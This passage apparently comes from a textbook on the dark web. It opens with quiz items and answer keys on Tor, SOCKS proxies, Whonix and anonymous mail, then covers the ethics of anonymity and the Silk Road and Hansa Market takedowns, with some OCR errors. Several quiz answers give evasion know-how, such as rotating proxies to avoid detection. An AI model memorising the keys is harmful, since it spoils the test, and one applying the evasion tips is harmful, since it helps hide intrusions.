JavaScript in the browser. Which tool best aligns with this approach?

a. ProtonMail

b. Tutanota

c. Mail2Tor

d. Gmail over VPN

Correct Answer: ¢) Mail2Tor

Explanation: Mail2Tor allows anonymous communication through the Tor network
without requiring identifiable information or JavaScript, aligning with high privacy
needs in hostile environments.
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2.

During a red-team engagement, penetration testers must simulate distributed scanning
traffic to test the client’s intrusion detection system (IDS). The testers use a SOCKSS
proxy integrated with the Tor network for all scan-originating traffic. Why is this setup
preferred?

a. It improves bandwidth speed for faster scans

b. It encrypts payloads end-to-end between the red team and IDS

c. It provides IP address diversity for realistic traffic simulation

d. It simplifies authentication using Kerberos tokens

Correct Answer: ¢) It provides IP address diversity for realistic traffic simulation
Explanation: Routing traffic through SOCKSS with Tor allows each request to origi-
nate from a different exit node, simulating distributed attackers and testing IDS efficacy
more realistically.

. An experienced threat researcher is tasked with scraping data from several hidden mar-

ketplaces without triggering blocks or IP bans. Which of the following practices pro-
vides the most resilience against detection?

a. Using a single public proxy IP with HTTPS

b. Rotating through a list of SOCKSS5 proxies with Tor integration

c. Connecting to marketplaces using a standard browser over VPN.

d. Relying on the Whonix-Workstation alone without VPN

Correct Answer: b) Rotating through a list of SOCKSS proxies with Tor integration
Explanation: Rotating SOCKSS5 proxies layered with Tor obfuscates the origin of each
request, minimizing the risk of rate limiting or IP-based detection.

A political activist is operating in a heavily surveilled regime and needs to share sen-
sitive documents without leaking metadata. Which combination of tools ensures the
strongest protection?

a. ProtonMail + VPN

b. OnionShare + Whonix

c. Gmail + VPN

d. Tails OS + Dropbox

Correct Answer: b) OnionShare + Whonix
Explanation: OnionShare allows metadata-free file sharing via Tor, and Whonix isolates
user activities through a dual-VM architecture, offering strong compartmentalization.

. An organization wishes to monitor employees’ internet traffic for compliance but must

not encrypt the traffic to inspect it easily. Which setup should they use?
a. VPN with AES-256 encryption

b. HTTP proxy with traffic caching

¢. SOCKSS proxy with DNS over Tor

d. OpenVPN with split tunneling

Correct Answer: b) HTTP proxy with traffic caching
Explanation: HTTP proxies operate at the application layer and can inspect, cache, or
log web traffic, making them ideal for monitoring in compliance environments.

A cyber-forensics expert is analyzing an attack on a system that used public proxy
chaining. Which of the following is the most significant risk associated with such
configurations?

a. High costs of maintaining public proxies

b. Frequent IP rotation causing log analysis issues
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c. Data interception by rogue proxy operators
d. Poor user authentication causing packet loss

Correct Answer: c¢) Data interception by rogue proxy operators
Explanation: Public proxies are often unreliable and can be operated by malicious enti-
ties who may log or manipulate traffic, leading to data interception.

7. A data scientist at a healthcare research institute is using a SOCKSS proxy connected
to Tor to download datasets from different countries. What is the primary cybersecurity
advantage of this approach?

a. Improved bandwidth via caching

b. Bypassing TLS handshakes

c. Hiding institutional IP address and metadata
d. Enabling access to FTP-only datasets

Correct Answer: ¢) Hiding institutional IP address and metadata

Explanation: Routing requests via SOCKS5-Tor obfuscates both the IP and meta-
data, protecting the institute from surveillance or profiling during cross-border data
retrieval.

8. An advanced persistent threat (APT) group is detected using OnionMail for internal
communication. Why is OnionMail particularly effective for clandestine operations?
a. It routes messages via cloud-based CDN
b. It uses TLS with SMTP for bulk mailing
c. It communicates only within .onion domain using Tor
d. It leverages DNS tunneling for data exfiltration

Correct Answer: ¢) It communicates only within .onion domain using Tor
Explanation: OnionMail operates exclusively within the Tor network and uses .onion
addresses, making interception or metadata analysis difficult.

9. A cybersecurity professional is setting up Whonix in a virtualized environment. After
updating the gateway VM, they fail to launch the workstation simultaneously. What is
the most likely security impact?

a. No update logging is performed

b. System’s encryption key is reset

c. Workstation will bypass Tor and leak I
d. VPN fallback mode will auto-activate

Correct Answer: c) The workstation will bypass Tor and leak IP
Explanation: If the gateway is inactive, the workstation has no Tor routing path, risking
accidental clearnet exposure and IP leakage.

10. Why might a seasoned cybersecurity team prefer CryptoStorm over traditional user-
name-password based VPN for ultra-private access?
a. It allows high-speed connections via satellite
b. It offers DNS tunneling through HTTP proxies
c. It uses anonymous tokens for authentication
d. Tt limits simultaneous connections to reduce detection

Correct Answer: c) It uses anonymous tokens for authentication
Explanation: CryptoStorm’s token-based access avoids user identity collection, offering
strong anonymity by not requiring usernames or passwords.
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Chapter 4
Ethics on the Dark Web

4.1 INTRODUCTION

When we think of ethics in everyday life, we often picture it as a system of moral values
guiding what is right and wrong. These values help us make decisions about our behavior,
our interactions with others, and the impact we have on the world around us. In cyberspace,
this familiar concept takes on a whole new complexity. Cyberspace is a boundless envi-
ronment where traditional social and physical boundaries don’t exist. The interactions are
instantaneous, global, and often anonymous. Ethical standards, therefore, must adapt to a
realm where actions can affect millions in seconds, and where identities are fluid or entirely
concealed.

At its core, ethics in cyberspace refers to the principles and values that guide behavior in
digital interactions. These can include honesty, respect for privacy, responsibility for actions,
and minimizing harm. For example, sharing someone’s private information without their
consent would violate the ethical principle of privacy. Likewise, spreading misinformation
intentionally would be ethically problematic because it could mislead and harm others. But
unlike the physical world, where social and legal systems enforce ethical behavior, the online
environment offers fewer natural checks and balances.

Nowhere is this more evident than on the Dark Web, the hidden layer of the internet that
requires special tools like Tor or I12P for access. The Dark Web is often portrayed as a lawless
territory, but it is also a space where individuals can operate beyond the reach of oppres-
sive regimes and corporate surveillance. Its architecture was designed to promote anonymity
and decentralization, features that can be both protective and dangerous. Ethical consider-
ations in this space extend beyond conventional concerns; they require balancing the need for
privacy and freedom with the risk of enabling harmful behavior.

For instance, consider the case of a whistleblower using the Dark Web to expose corporate
malfeasance. In 2023, a group of healthcare workers used anonymous drop sites on Tor to
leak evidence of a pharmaceutical company hiding harmful drug side effects. This action
could be deemed ethically justifiable because it protected public health, even though it vio-
lated corporate confidentiality agreements and potentially some laws. On the other hand, the
very same anonymity that safeguards these whistleblowers can also protect individuals who
trade in stolen identities, child exploitation material, or illegal narcotics.

The ethical question, therefore, isn’t whether anonymity is inherently “good” or “bad,” it is
how it is used. Ethics in the Dark Web context focuses on intent, impact, and responsibility.
An action is often evaluated by asking: Does it harm others? Does it respect the autonomy
and dignity of individuals? Does it contribute positively to society? These questions help dif-
ferentiate morally defensible actions (e.g., activism in repressive regimes) from harmful ones
(e.g., selling ransomware toolkits to criminals).
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Another important point is that ethics goes beyond legality. Something may be legal yet
ethically troubling, or illegal yet ethically defensible. For example, certain governments crimi-
nalize encryption tools because they fear dissidents using them to communicate securely. Yet,
from an ethical perspective, offering such tools to citizens who need protection from surveil-
lance could be considered an act of moral courage.

Defining ethics in cyberspace and the Dark Web involves understanding the values that
should govern digital actions. It requires careful consideration of the unique context: global
reach, anonymity, and the lack of centralized oversight. This context amplifies the stakes,
both positive and negative. Ethical behavior here isn’t just about following rules; it’s about
anticipating the ripple effects of one’s actions, even when nobody is watching.

One of the most striking features of the Dark Web is the way it strips away the traditional
structures of accountability that shape ethical behavior. In everyday life, there are social and
legal consequences for harmful actions. If you commit a crime, law enforcement might track
you down. If you lie repeatedly, people in your community will lose trust in you. These mech-
anisms encourage ethical conduct, at least to some degree. But in anonymous and decentral-
ized ecosystems like the Dark Web, these levers of accountability largely vanish.

Anonymity is the first challenge. When users operate behind layers of encryption and
untraceable identities, they are shielded from the social and legal repercussions of their
actions. Psychologists call this the “online disinhibition effect”: when people believe they
are unidentifiable, they are more likely to behave in ways they wouldn’t in real life. This can
lead to toxic or harmful behavior. Consider the rise of ransomware syndicates on the Dark
Web. Attackers hide behind multiple layers of anonymity, extorting millions from hospitals
and schools, knowing the odds of being caught are low. But anonymity is not only a tool for
wrongdoers. It is also a lifeline for those at risk. Dissidents in authoritarian regimes, survivors
of domestic abuse seeking support, or LGBTQ+ individuals in repressive societies often rely
on anonymous platforms to communicate safely. The same feature that enables extortionists
also enables courageous whistleblowing. This “dual-use” dilemma makes ethical judgments
far more complex.

Decentralization compounds the problem. Traditional platforms like Facebook or
YouTube have central authorities that set rules and enforce them (albeit imperfectly). The
Dark Web, by contrast, is built on decentralized networks where no single entity controls
the infrastructure. This means there’s no overarching authority to establish ethical norms
or intervene when harm occurs. For example, decentralized file-sharing systems are used
on the Dark Web. In 2024, law enforcement discovered that one such network was being
used to distribute illegal weapons schematics. The system was fully decentralized: files
were spread across countless nodes, and there was no central server to shut down. Even
if some participants wanted to stop the harmful use, they had no way to do so. This
lack of centralized oversight creates an environment where harmful actions can persist
unchecked.

Moreover, decentralized systems can create moral diffusion. Because responsibilities are
spread across many participants, individuals may feel less personally accountable for the con-
sequences of their actions. If you’re just one of thousands hosting encrypted data shards, you
might rationalize that you’re not personally responsible for the content, even if that content
includes stolen medical records or child exploitation materials.

Cultural diversity adds yet another layer of complexity. The Dark Web is truly global,
bringing together individuals from vastly different backgrounds, each with their own ethical
standards. An activity considered deeply unethical in one culture might be tolerated or even
celebrated in another. For instance, gambling platforms banned in some countries for ethical
reasons thrive on the Dark Web, often with users from regions where gambling is illegal. This
clash of values makes it difficult to create shared ethical standards.
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Some Dark Web communities attempt to self-regulate. Certain marketplaces ban products
like child exploitation content or murder-for-hire services. Hacktivist groups may refuse to
target hospitals, even if they target corporations. Yet these self-imposed codes are fragile and
vary widely from one community to another. Ultimately, anonymity and decentralization
create an environment where ethical behavior relies heavily on individual conscience rather
than external enforcement. This makes ethical decision-making more challenging. People
must grapple with the full weight of their choices, knowing they may never face external
consequences. For some, this is liberating; for others, it can be corrupting.

The Dark Web has become a space where technology serves as both a shield and a sword,
depending on how it is used. This duality, where the same tools can enable empowerment or
exploitation, creates one of the most profound ethical challenges for cyberspace. To under-
stand this dichotomy, it is important to explore both the beneficial and harmful uses of the
Dark Web in depth, alongside real-world examples.

Beneficial uses

One of the most widely acknowledged benefits of the Dark Web is the ability to maintain
anonymity in situations where revealing one’s identity could result in harm. For example,
political dissidents living in authoritarian regimes often rely on Dark Web forums and mes-
saging platforms to organize protests, share information, and expose human rights abuses.
In 2024, journalists reported how pro-democracy activists in Myanmar used anonymous Tor
services to document instances of military brutality. Their activities would have been impos-
sible on open internet platforms, where government surveillance was rampant.

The Dark Web also provides critical tools for whistleblowers. Platforms like SecureDrop,
which operate on hidden networks, allow insiders to anonymously submit evidence of cor-
ruption, corporate negligence, or governmental abuse to investigative journalists. A 2023
whistleblower case from Eastern Europe highlighted this benefit: employees of a major energy
company leaked documents proving illegal dumping of toxic waste, a revelation that led to
environmental reforms. These whistleblowers stated that without the anonymity provided by
the Dark Web, they would have feared for their lives.

Additionally, marginalized groups often find safe spaces on the Dark Web. LGBTQ+ indi-
viduals in conservative societies, survivors of domestic abuse, and people with stigmatized
medical conditions may use anonymous communities to share their experiences without fear
of retaliation. Such spaces allow individuals to seek support, build resilience, and access
resources.

The Dark Web even fosters technological innovation. Because of its unique architecture,
developers test privacy-enhancing tools and decentralized technologies that may later benefit
mainstream internet users. Encryption standards used widely today, for instance, were once
tested in anonymous online communities before being adopted at scale.

Harmful uses

Despite its benefits, the Dark Web is also a hub for illegal and unethical activities. Darknet
marketplaces sell illegal drugs, counterfeit documents, stolen financial data, and even cyberat-
tack tools. In 2024, law enforcement dismantled a global marketplace called “Black Hydra,”
which had over 400,000 registered users and generated millions in illegal profits from selling
fentanyl, a synthetic opioid responsible for countless overdose deaths.

Cybercriminals also exploit the anonymity of the Dark Web to launch ransomware
attacks. These attackers encrypt victims’ files and demand payment, often in cryptocurrency,
to restore access. Hospitals, schools, and municipal governments have been frequent targets
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because they are more likely to pay quickly. In 2025, a ransomware syndicate operating from
a hidden service caused several U.S. hospitals to shut down critical services for days, endan-
gering lives.

The Dark Web is also notorious for hosting forums that enable extremist propaganda,
human trafficking, and other exploitative practices. Law enforcement agencies continue to
battle networks trading in child exploitation material, which are particularly difficult to
dismantle due to the decentralized nature of these platforms.

Ethical paradox

This mix of beneficial and harmful uses creates an ethical paradox. Should tools that protect
activists also be allowed to shield criminals? How do you regulate technologies that have
legitimate uses without infringing on human rights? The dual-use dilemma is not unique to
the Dark Web. Consider encryption: it protects banking transactions and personal commu-
nications, yet it also prevents law enforcement from intercepting criminal activity. The Dark
Web magnifies this problem because its infrastructure is designed explicitly to resist censor-
ship and surveillance. Communities on the Dark Web often attempt to self-regulate by ban-
ning certain content or adopting codes of conduct. Some marketplaces, for instance, prohibit
the sale of child exploitation material or weapons. Hacktivist groups have been known to
refuse targets that could harm civilians, such as hospitals. But these efforts are inconsistent
and unenforceable.

To navigate this dichotomy, it helps to use ethical frameworks. A utilitarian perspective
would evaluate actions based on their consequences: do they produce more overall harm
or benefit? Under this lens, shutting down a darknet marketplace selling opioids might be
justified because it reduces harm, even if it also disrupts benign activities. A deontological
approach, by contrast, would focus on rules and duties. Certain actions, such as distributing
child exploitation material, are inherently unethical regardless of their consequences. This
framework is particularly relevant when addressing activities that cause irreversible harm to
vulnerable populations.

Finally, virtue ethics would ask whether individuals are acting from good character and
moral intent. A journalist using the Dark Web to receive whistleblower documents might be
considered virtuous because their intent is to uncover the truth and serve the public good. A
hacker selling malware for profit, on the other hand, acts from self-interest at the expense of
others.

In practice, balancing these perspectives is challenging. When the FBI shut down the Silk
Road marketplace in 2013, it reduced drug trafficking on that particular platform but inad-
vertently caused a proliferation of copycat markets. Similarly, taking down a ransomware
group might disrupt criminal activity temporarily, but the tools often resurface elsewhere. On
the other hand, allowing anonymous platforms to operate unfettered can lead to significant
harm. Governments and international organizations are experimenting with new approaches,
such as targeting payment processors rather than platforms, or incentivizing ethical hackers
to expose criminal networks without infringing on legitimate uses of anonymity. Dark Web
embodies a profound ethical tension. It can protect the vulnerable and enable important
societal functions, but it can also amplify harm on a global scale. Recognizing this duality is
essential for anyone seeking to develop fair and effective strategies for addressing the chal-
lenges of this hidden internet ecosystem.

The relationship between ethics and legality has always been complex, but in the context
of the Dark Web, it becomes even more pronounced. Many assume that legal and ethical
standards are aligned: if something is legal, it must be ethical, and if it is illegal, it must be
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unethical. Yet this is rarely the case, especially in a global, anonymous, and decentralized
environment.

Legality refers to what is permitted or prohibited by law. These laws vary from one country
to another and are enforced by government institutions. Ethics, by contrast, involves broader
moral principles about what is right or wrong, regardless of whether it is codified into law.
While laws often reflect societal ethics, they can lag behind moral consensus or fail to address
nuanced situations. For example, in 2023, some governments criminalized the use of certain
encryption technologies, arguing they were being used by criminals. From an ethical perspec-
tive, however, encryption is a critical tool for protecting privacy and freedom of expression,
especially in oppressive regimes. Similarly, leaking classified documents might be illegal, but
if those documents expose government wrongdoing, such as human rights violations, many
will argue that the act is ethically justified.

The Dark Web magnifies this disconnect because it operates largely beyond the reach of
national legal systems. Users from different jurisdictions interact on the same platforms, each
bringing different assumptions about what is legal. A transaction involving cannabis, for
instance, might be legal for one participant in Canada but illegal for another in a country
where possession carries severe penalties. Moreover, legal systems are often ill-equipped to
deal with the speed and complexity of Dark Web activities. New cybercrime methods can
emerge and cause harm before lawmakers have a chance to respond. In 2024, for example, a
darknet forum began selling a novel chemical compound that wasn’t yet covered by interna-
tional drug laws. It took months for regulators to classify the substance, during which time
it caused several fatalities.

There are also situations where actions are legal but raise serious ethical concerns. Consider
the sale of personal data harvested from social media or public databases. In some jurisdic-
tions, this is legal as long as the data is “publicly available,” yet it can still be ethically
troubling. Dark Web vendors have exploited this loophole by scraping massive amounts of
personal information and selling it in bulk. Victims often face identity theft or harassment,
even though no laws were technically broken. Another example is the sale of hacking tools.
In certain countries, developing or selling software designed to exploit vulnerabilities is legal
as long as the seller claims it is for “testing purposes.” On the Dark Web, these tools often
end up in the hands of cybercriminals. The ethical implications are clear: the creator may be
enabling harm even if they are operating within the letter of the law.

Conversely, some actions that are illegal might be ethically defensible. As mentioned ear-
lier, whistleblowers who use the Dark Web to leak evidence of corporate or government
corruption often violate laws related to confidentiality or national security. Yet their actions
can lead to greater transparency and justice. A notable example occurred in 2023 when an
anonymous source leaked evidence of mass surveillance programs targeting citizens without
warrants. While the whistleblower faced legal consequences, the revelations sparked public
debate and led to reforms that better protected individual privacy rights.

Because legal frameworks on the Dark Web are inconsistent and often unenforceable, indi-
viduals must rely heavily on personal ethics to guide their actions. This can be daunting,
as it requires evaluating intent, potential harm, and societal impact without clear external
guidance. Dark Web communities sometimes develop their own ethical codes. Certain mar-
ketplaces, for instance, ban the sale of products like child exploitation material or weapons.
Hacktivist groups may choose targets based on perceived injustice rather than financial gain.
These norms, while imperfect, illustrate how ethics can exist independently of formal legal
structures.

To address the ethical and legal challenges of the Dark Web, governments and organizations
are exploring new strategies. Some are focusing on international collaboration, recognizing
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that cybercrime doesn’t respect national borders. Others are investing in public education,
helping users understand how their online choices can have real-world consequences. There
is also growing interest in ethical design, building technologies that promote privacy and
freedom without enabling harm. For instance, developers might create anonymous commu-
nication tools that include built-in safeguards against misuse, such as systems that prevent
the sharing of certain harmful content.

4.2 ETHICAL FRAMEWORKS IN CYBERSPACE

Dark Web, with its anonymous architecture and reputation as a haven for illegal trade, whis-
tleblowing, and digital activism, presents one of the most ethically complex environments in
modern cyberspace. Understanding the moral challenges associated with actions on the Dark
Web requires us to lean on philosophical frameworks that have guided ethical thought for
centuries. Three prominent schools—consequentialism, deontology, and virtue ethics—each
offer distinctive ways of assessing conduct in this space.

Consequentialism, most often associated with utilitarianism, measures the ethical value of
an action by its results. In other words, the morality of an act hinges on whether it maximizes
overall good or minimizes harm. This framework is appealing in the context of the Dark Web
because so many activities there fall into moral gray zones. Consider a case where a whistle-
blower leaks confidential documents from a government contractor, exposing illegal surveil-
lance on civilians. A consequentialist would weigh whether the societal benefits of unveiling
the surveillance outweigh the potential harm caused by violating privacy or breaching classi-
fied systems. For example, in 2024, a global activist group published evidence obtained from
a major data breach revealing that a government was unlawfully monitoring journalists.
While the act of breaking into servers and stealing documents was illegal and damaging to
certain agencies, consequentialists might argue that the public exposure was justified. This is
because the revelation led to investigations, legal reforms, and ultimately protection for press
freedom.

However, consequentialism is not a blank check for harmful actions. It requires careful
cost-benefit calculations that can be difficult to perform accurately. Hackers may overesti-
mate the benefits of exposing secrets or underestimate collateral damage, such as releasing
sensitive personal information about innocent people. For instance, during major ransom-
ware attacks like the 2023 “LockBit” leak, stolen corporate data included private customer
details. Even if the attackers claimed to be “activists,” the resultant harm to individuals’
financial security and emotional well-being would outweigh any supposed societal benefit.

Deontology offers a contrasting perspective. Popularized by Immanuel Kant, this frame-
work evaluates morality based on adherence to universal moral duties and principles rather
than outcomes. Under a deontological lens, unauthorized access to systems, theft of infor-
mation, or sale of illegal goods on the Dark Web is wrong because it violates fundamental
rules: respect for property, consent, and privacy. From this view, even well-intentioned leaks
could be ethically problematic. Suppose a Dark Web user hacks into a corporate database to
expose environmental violations. A deontologist would contend that this act remains morally
wrong because it disrespects the principle of property rights and violates the implicit social
contract of lawfulness. If we universalized the principle of “hacking is acceptable if done
for a good cause,” society would collapse into lawlessness, making such actions inherently
impermissible.

Yet, deontologists also recognize moral hierarchies. Certain duties, like the obligation to
prevent severe harm, can sometimes supersede lesser duties such as preserving confidentiality.
In a life-or-death scenario, say, uncovering evidence of planned violence—breaching privacy
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may be considered permissible because the duty to save lives outweighs all others. But this
line of reasoning is applied with extreme caution.

Virtue ethics, rooted in Aristotelian philosophy, focuses less on rules or outcomes and more
on the character and intentions of the moral agent. A virtuous individual acts out of traits
like courage, honesty, justice, and practical wisdom. Within this framework, actions on the
Dark Web are evaluated based on whether they align with virtues or vices. For instance, a
whistleblower who carefully leaks documents to expose corruption, ensuring minimal harm
to unrelated parties, demonstrates virtues of courage and justice. Conversely, a hacker who
indiscriminately dumps sensitive medical records online, even if exposing some malpractice,
may be acting from recklessness or a desire for notoriety rather than genuine concern for the
public good.

Virtue ethics is particularly relevant to the Dark Web because so much of its culture
revolves around anonymity. This anonymity can embolden vices like greed and cruelty but
can also protect individuals who act courageously to reveal systemic wrongdoing. It invites
participants to ask: “What kind of person am I becoming by doing this?”.

No single framework is sufficient in isolation. Consequentialism can justify harmful acts
if the ends seem attractive enough. Deontology can appear rigid, refusing to account for
context. Virtue ethics can feel subjective, depending heavily on perceived character. The best
ethical analysis of Dark Web activities combines elements of all three. Take, for instance,
the leak of a corporate database revealing environmental violations. A combined ethical
approach might involve:

¢ Consequentialism: Estimating whether the public benefit of exposure outweighs harm.

¢ Deontology: Asking if the action respects key duties, such as protecting innocent indi-
viduals’ data.

¢ Virtue Ethics: Reflecting on whether the actor is motivated by virtues like justice or by
vices like revenge.

This blended approach helps avoid oversimplification and guides decision-making in the
morally complex landscape of the Dark Web.

The question of whether the ends justify the means lies at the heart of many ethical debates
surrounding the Dark Web. With its built-in anonymity, the Dark Web is a fertile ground for
whistleblowing and public exposure, yet also a hub for malicious cyberattacks. This section
examines the ethical implications of using stolen data to reveal wrongdoing. Public exposure
through stolen data can serve the public interest, revealing corruption, environmental harm,
human rights abuses, or other issues suppressed by powerful institutions. Yet, it can also
inflict immense harm by violating privacy rights, undermining trust, and harming innocent
third parties.

From a consequentialist view, the morality of using stolen data hinges entirely on out-
comes. If exposing the information prevents greater harm, such as uncovering a govern-
ment’s plan to unlawfully surveil citizens, then the act might be justified. Consider the case
of the 2024 global whistleblower collective that breached a major surveillance contractor’s
database. Their leaks confirmed long-rumored programs violating international privacy laws.
Governments and advocacy groups used this information to pass stronger protections for
journalists and political dissidents. In consequentialist terms, the benefit to civil liberties
arguably outweighed the damage caused by the initial breach.

But consequentialism faces limits: actors often misjudge long-term consequences. Data
leaks can inadvertently harm vulnerable people, such as employees whose personal informa-
tion is exposed despite their non-involvement in corporate misconduct. The infamous 2022
hack of a large healthcare provider in Europe resulted in the exposure of patients’ medical
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histories. Although the attackers claimed they were revealing systemic malpractice, the col-
lateral damage, psychological trauma, blackmail attempts, and identity theft were immense.

Deontology focuses on duties and principles. From this view, using stolen data for any
purpose is unethical because it violates the principle of respect for privacy and consent. Even
if the stolen data exposes wrongdoing, deontologists would argue that breaching trust erodes
the foundation of an ethical society. The argument is that you cannot build justice on injus-
tice. If the act of theft becomes normalized for “good causes,” then malicious actors can make
the same justification. This slippery slope risks creating a digital environment where no data
is safe. Virtue ethics brings intention and character into focus. Was the actor motivated by a
sincere desire to promote justice, or were they driven by vengeance, fame, or financial gain?
A whistleblower who selectively releases documents that clearly demonstrate systemic abuse,
taking care to minimize harm to bystanders, may be seen as virtuous.

However, virtue ethics also warns against recklessness. If stolen data is dumped whole-
sale, with little regard for consequences, the act demonstrates a lack of practical wisdom.
The 2023 leak of 300GB of corporate emails by an online collective is illustrative: while
they claimed to be targeting corporate greed, their indiscriminate dump led to thousands of
employees receiving harassment and phishing attacks.

One nuanced example is the publication of the “Panama Papers” in 2016, still discussed
today. Although the initial data was stolen, journalists vetted and curated the information
carefully, redacting sensitive personal details unrelated to wrongdoing. This demonstrated a
balance between exposing corruption and protecting innocents. Contrast this with criminal
data dumps on Dark Web forums, where full credit card databases or identity documents
are leaked without context. Even if some information hints at unethical corporate behavior,
the wholesale nature of the release shows little ethical consideration.

To answer whether ends justify means, consider these guiding questions:

Purpose: Is the goal to serve the public interest or a private agenda?
Proportionality: Does the benefit to society significantly outweigh the harm?
Safeguards: Are the innocent parties’ rights and safety protected?
Alternatives: Were less invasive means available but ignored?

Only when the answers convincingly favor the public good, with minimal collateral harm,
could one argue that the ends justify the means. Otherwise, such actions risk perpetuating
cycles of harm and distrust.

Hacktivism and cybercrime often use similar techniques but differ fundamentally in their
intent and ethical evaluation. Understanding this distinction is vital, especially when assess-
ing Dark Web activities. Hacktivism involves using hacking techniques for political or social
purposes. Groups like Anonymous, for example, have defaced websites to protest censorship
or exposed unethical practices by large corporations. Hacktivists typically see themselves as
digital activists rather than criminals.

Cybercrime, by contrast, is motivated by personal gain—financial theft, data ransom, or
sheer disruption. Dark Web markets for stolen credentials, ransomware-as-a-service plat-
forms, and botnet sales are classic examples.

¢ Consequentialism: Hacktivism can be ethically defensible if its actions lead to societal
benefit without disproportionate harm. Cybercrime nearly always fails this test, as its
primary purpose is self-interest.

¢ Deontology: Both hacktivism and cybercrime violate duties like respecting privacy and
property. However, hacktivists sometimes operate under a higher perceived duty to
justice, though deontologists remain skeptical of such exceptions.
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¢ Virtue Ethics: Hacktivists acting from courage and justice, taking care to avoid harm-
ing innocents, may be viewed as virtuous. Cybercriminals, acting from greed or malice,
embody vice.

In 2025, a hacktivist collective breached a national election commission’s database, reveal-
ing evidence of voter suppression. They released only the relevant data, anonymizing voter
details to protect individuals. Many civil society groups lauded the act as principled, and
legal reforms followed. In contrast, during the same year, a cybercrime syndicate leaked sensi-
tive financial data from multiple banks, demanding millions in ransom. Their indiscriminate
data dumps led to identity theft, financial ruin for some victims, and even threats to personal
safety. Not all hacktivism is ethical. Some groups have claimed to champion justice but have
acted recklessly. For instance, disrupting hospital networks in the name of protesting health-
care privatization would harm patients rather than help them, rendering such hacktivism
morally indefensible.

4.3 DARKWEB USE CASES

Silk Road

The Silk Road case stands as one of the most emblematic examples of the convergence of
technology, anonymity, and illicit online marketplaces. Operating primarily on the Tor net-
work, Silk Road emerged in February 2011 as a hidden service designed to allow buyers
and sellers to transact illegal goods, predominantly drugs, without fear of identification. Its
founder, Ross Ulbricht, who operated under the pseudonym “Dread Pirate Roberts” (DPR),
designed the platform with a heavy focus on privacy and decentralization. Silk Road lever-
aged Bitcoin, still a nascent cryptocurrency at the time, as its exclusive payment method.
This decision was both revolutionary and tactical; Bitcoin’s pseudonymous nature allowed
transactions to be recorded on a public ledger without immediately revealing personal identi-
ties. The marketplace employed a sophisticated escrow system, where buyers deposited funds
into accounts held temporarily by Silk Road until sellers confirmed delivery. This mechanism
reduced fraud and increased trust between otherwise anonymous parties, creating a self-
sustaining economy that could thrive in the shadows.

Tor, an acronym for The Onion Router, was the backbone of Silk Road’s infrastructure.
Tor enables anonymous communication by routing internet traffic through multiple volun-
teer-operated servers, each adding a layer of encryption, making the origin of any request
extremely difficult to trace. The site was accessible only via the Tor browser and was hosted
on servers scattered across various jurisdictions to evade law enforcement. Ulbricht also
embedded a culture of libertarian ideals into Silk Road’s operation, framing it as a “free mar-
ket” platform where consenting adults could trade without government interference. This
philosophical underpinning attracted a loyal user base and lent a sense of moral legitimacy
to the marketplace, even though its activities violated numerous laws worldwide. Within two
years of its launch, Silk Road had become a multimillion-dollar enterprise, facilitating trans-
actions worth hundreds of millions of dollars.

However, the same technology that initially shielded Silk Road from scrutiny also created
vulnerabilities that investigators would eventually exploit. The FBI, DEA, and Homeland
Security Investigations (HSI) formed a coalition to dismantle the marketplace. One critical
breakthrough came from meticulous analysis of Ulbricht’s early online postings on forums
like Bitcointalk and Stack Overflow. Investigators traced a Gmail account linked to early
Silk Road promotions back to Ulbricht. Another significant error was Ulbricht’s failure to
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consistently use anonymity tools in his personal life; at one point, he logged into the Silk
Road administrative server from a public Wi-Fi hotspot at a San Francisco library, which
helped authorities pinpoint his physical location.

The operation to seize Silk Road culminated in October 2013. Ulbricht was arrested at
the Glen Park branch of the San Francisco Public Library while logged into the site as DPR,
ensuring that authorities could take control of his computer without it being locked or
encrypted. The FBI also seized Silk Road’s servers, uncovering an extensive digital footprint
of its activities. Forensic analysis revealed detailed logs of user communications, transaction
records, and even Ulbricht’s personal journal chronicling the site’s growth. In total, approxi-
mately 144,000 bitcoins were confiscated from Ulbricht’s wallets, valued at over $28 million
at the time. The U.S. government would later auction these bitcoins, some of which were
purchased by venture capitalist Tim Draper.

The trial of Ross Ulbricht was a complex legal battle that highlighted the tension between
privacy technologies and law enforcement’s mandate to protect public safety. The prosecu-
tion painted Ulbricht as a kingpin who profited from the sale of deadly drugs and even alleg-
edly commissioned murders to protect his enterprise (though no murders were ever carried
out). The defense attempted to cast doubt on Ulbricht’s continuous control of Silk Road, sug-
gesting that the “Dread Pirate Roberts” persona may have been used by multiple individuals.
Nonetheless, Ulbricht was convicted on charges including money laundering, computer hack-
ing, and conspiracy to traffic narcotics. In 2015, he was sentenced to two life terms plus 40
years without the possibility of parole, a sentence criticized by many as disproportionately
harsh.

Silk Road’s dismantling marked a turning point in the evolution of Dark Web market-
places. While numerous copycats such as Silk Road 2.0, AlphaBay, and Dream Market
rose to fill the void, law enforcement agencies had gained valuable experience in tracking
anonymous networks, conducting blockchain analysis, and infiltrating criminal commu-
nities online. The case also spurred debate over privacy rights and the extent to which
governments should regulate emerging technologies. Bitcoin’s association with Silk Road
initially tainted its public image, though over time it became widely adopted for legitimate
purposes. The investigation’s success also underscored the importance of human error
in digital anonymity; no matter how robust the technology, the smallest lapse in opera-
tional security can unravel an entire operation. This lesson continues to inform both law
enforcement strategies and the practices of those who operate in the dark corners of the
internet.

Hansa Market takedown

Hansa Market, once a leading Dark Web marketplace, became the centerpiece of one of the
most sophisticated law enforcement operations ever conducted in the cyber domain. The
marketplace, similar to Silk Road, operated on the Tor network and facilitated the sale of
narcotics, hacking tools, counterfeit documents, and other illicit goods. By mid-2017, Hansa
was among the top three darknet markets by user base and transaction volume, making it a
prime target for international law enforcement agencies. What set the Hansa operation apart
from previous takedowns was the unprecedented level of coordination between the Dutch
National Police, Europol, and the FBI, which managed to secretly seize control of the market
and run it for weeks without its users knowing.

The operation began in earnest when Dutch authorities identified the servers hosting
Hansa Market in the Netherlands. Unlike many darknet marketplaces, which scattered their
infrastructure across multiple jurisdictions, Hansa had a significant portion of its operations
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centralized, making it more vulnerable. In June 2017, the Dutch police executed search war-
rants and quietly seized Hansa’s backend servers. Rather than immediately shutting the
site down, investigators opted for a more strategic approach: they would maintain Hansa’s
operations in a covert law enforcement-run environment, monitoring every transaction and
gathering intelligence on vendors and buyers.

This covert control allowed law enforcement to introduce subtle changes to the market-
place’s codebase. For instance, they modified Hansa’s file-upload functionality to collect
metadata from images and documents submitted by users, often revealing IP addresses or
device information. They also logged vendor PGP keys, cryptocurrency wallet addresses, and
shipping details. The scale of the intelligence gathering was immense; every communication
and transaction on Hansa was now a potential lead for future investigations. During this
period, users continued to transact on the platform, blissfully unaware that they were essen-
tially incriminating themselves.

